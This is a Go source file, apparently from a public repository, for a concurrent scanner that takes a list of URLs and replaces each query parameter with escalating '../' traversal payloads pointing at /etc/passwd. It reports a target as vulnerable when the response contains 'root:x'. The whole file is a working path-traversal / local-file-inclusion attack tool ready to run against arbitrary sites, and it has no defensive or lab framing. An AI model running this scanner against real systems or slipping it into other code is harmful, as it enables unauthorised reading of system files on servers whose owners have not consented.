-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
196 lines (168 loc) · 4.41 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
package main
import (
"bufio"
"flag"
"fmt"
"net/http"
"os"
"strings"
"sync"
)
func main() {
var filename string
var showHelp bool
var numThreads int
flag.BoolVar(&showHelp, "help", false, "Show help message")
flag.BoolVar(&showHelp, "h", false, "Show help message (shorthand)")
flag.StringVar(&filename, "file", "", "File containing URLs")
flag.IntVar(&numThreads, "threads", 10, "Number of threads to use")
flag.Parse()
if showHelp {
flag.Usage()
return
}
var urls []string
if filename != "" {
urlsFromFile, err := readURLsFromFile(filename)
if err != nil {
fmt.Printf("Error reading file: %v\n", err)
os.Exit(1)
}
urls = append(urls, urlsFromFile...)
} else if !isInputFromPipe() {
flag.Usage()
return
} else {
urlsFromStdin, err := readURLsFromStdin()
if err != nil {
fmt.Printf("Error reading stdin: %v\n", err)
os.Exit(1)
}
urls = append(urls, urlsFromStdin...)
}
if len(urls) == 0 {
fmt.Println("No URLs provided.")
return
}
testURLs(urls, numThreads)
}
func isInputFromPipe() bool {
stat, _ := os.Stdin.Stat()
return (stat.Mode() & os.ModeCharDevice) == 0
}
func readURLsFromFile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
var urls []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
urls = append(urls, scanner.Text())
}
return urls, scanner.Err()
}
func readURLsFromStdin() ([]string, error) {
var urls []string
scanner := bufio.NewScanner(os.Stdin)
for scanner.Scan() {
urls = append(urls, scanner.Text())
}
return urls, scanner.Err()
}
func testURLs(urls []string, numThreads int) {
var wg sync.WaitGroup
var mutex sync.Mutex
totalURLs := len(urls)
checkedURLs := 0
vulnURLs := 0
semaphore := make(chan struct{}, numThreads)
for _, url := range urls {
semaphore <- struct{}{}
wg.Add(1)
go func(url string) {
defer wg.Done()
defer func() { <-semaphore }() // Release semaphore when done
if isValidURL(url) {
checkedURLs++
vulnerable, param, payload := testURL(url)
if vulnerable {
mutex.Lock()
vulnURLs++
fmt.Printf("\r\033[31mVulnerable URLs found: %d/%d\033[0m", vulnURLs, checkedURLs)
mutex.Unlock()
fmt.Printf("\n\033[31mVulnerable URL: %s (Parameter: %s, Payload: %s)\033[0m\n", url, param, payload)
} else {
fmt.Printf("\r\033[32mChecked URLs: %d/%d\033[0m", checkedURLs, totalURLs)
}
}
}(url)
}
wg.Wait()
fmt.Printf("\n\033[32mAll URLs processed. Checked URLs: %d/%d, Vulnerable URLs found: %d/%d\033[0m\n", checkedURLs, totalURLs, vulnURLs, totalURLs)
}
func testURL(url string) (bool, string, string) {
resp, err := http.Get(url)
if err != nil {
return false, "", ""
}
defer resp.Body.Close()
if resp.StatusCode >= 400 && resp.StatusCode < 600 {
return false, "", ""
}
if resp.StatusCode == http.StatusOK {
for _, param := range extractParams(url) {
payloads := []string{"..", "..", "../..", "../../..", "../../../..", "../../../../..", "../../../../../..", "../../../../../../..", "../../../../../../../..", "../../../../../../../../.."}
for _, payload := range payloads {
modifiedURL := constructURL(url, param, payload)
resp, err := http.Get(modifiedURL)
if err != nil {
continue
}
defer resp.Body.Close()
if resp.StatusCode >= 400 && resp.StatusCode < 600 {
continue
}
if resp.StatusCode == http.StatusOK {
scanner := bufio.NewScanner(resp.Body)
for scanner.Scan() {
// Check for a typical LFI file content indicator like "root:x"
if strings.Contains(scanner.Text(), "root:x") {
// Return full payload path for accurate output
fullPayload := fmt.Sprintf("%s/etc/passwd", payload)
return true, param, fullPayload
}
}
}
}
}
}
return false, "", ""
}
func extractParams(url string) []string {
queryParams := strings.Split(url, "?")
if len(queryParams) < 2 {
return nil
}
params := strings.Split(queryParams[1], "&")
var result []string
for _, param := range params {
parts := strings.Split(param, "=")
if len(parts) == 2 {
result = append(result, parts[0])
}
}
return result
}
func isValidURL(url string) bool {
_, err := http.Get(url)
return err == nil
}
func constructURL(baseURL, param, payload string) string {
parts := strings.Split(baseURL, "?")
if len(parts) != 2 {
return ""
}
return fmt.Sprintf("%s?%s=%s/etc/passwd", parts[0], param, payload)
}